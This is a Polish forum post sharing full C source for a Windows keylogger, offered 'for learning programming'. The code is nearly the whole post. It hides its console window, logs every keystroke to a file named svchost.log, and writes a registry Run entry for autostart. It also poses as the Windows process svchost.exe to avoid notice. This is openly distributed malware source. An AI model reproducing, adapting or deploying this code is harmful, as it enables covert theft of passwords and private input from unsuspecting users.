[C] Darmowe źrodło keyloggera w C

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F3nix
Posty: 328
Rejestracja: 28 kwie 2015, 20:51

[C] Darmowe źrodło keyloggera w C

Post autor: F3nix » 11 sty 2016, 09:20

Co prawda kod źródłowy nie jest mojego autorstwa, ale znalazłem gdzieś na starym dysku dysku źródło lokalnego keyloggera. Może komuś przyda się do nauki programowania. Keylogger napisany jest w języku programowania C. Oprócz rejestrowania klawiszy, kopiuje się samoistnie w odpowiednie miejsce w systemie operacyjnym, ukrywa swoją konsole jak i również dodaje odpowiedni wpis do rejesttru (autostart). Kod jest prosty więc czytanie nie sprawi nikomu problemu.

Kod: Zaznacz cały

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                                                                  *
*  File: SVCHOST.c                                                                 *
*                                                                                  *
*  Purpose: a stealth keylogger, writes to file "svchost.log"                      *
*                                                                                  *       
*  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *
*                                                                                  *
*  Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved   *
*                                                                                  *
*  This program is free software; you can redistribute it and/or                   *
*  modify it under the terms of the GNU General Public License                     *
*  as published by the Free Software Foundation; either version 2                  *
*  of the License, or (at your option) any later version.                          *
*                                                                                  *
*  This program is distributed in the hope that it will be useful,                 *
*  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *
*  GNU General Public License for more details.                                    *
*                                                                                  *
*  You should have received a copy of the GNU General Public License               *
*  along with this program; if not, write to the Free Software                     *
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *
*                                                                                  *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
   
    int test,create;
    test=test_key();/*check if key is available for opening*/
         
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
        create=create_key(path);
          
    }
        
   
    int t=get_keys();
    
    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {
                     sleep(10);/*to prevent 100% cpu usage*/
                     for(character=8;character<=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   
                             
                             FILE *file;
                             file=fopen("svchost.log","a+");
                             if(file==NULL)
                             {
                                     return 1;
                             }            
                             if(file!=NULL)
                             {        
                                     if((character>=39)&&(character<=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }        
                                     else if((character>64)&&(character<91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     { 
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  
                     
            }
            return EXIT_SUCCESS;                            
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        
           
    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
         
    RegCloseKey(hKey);
    return check;   
}
   
int create_key(char *path)
{   
        int reg_key,check;
        
        HKEY hkey;
        
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}
 

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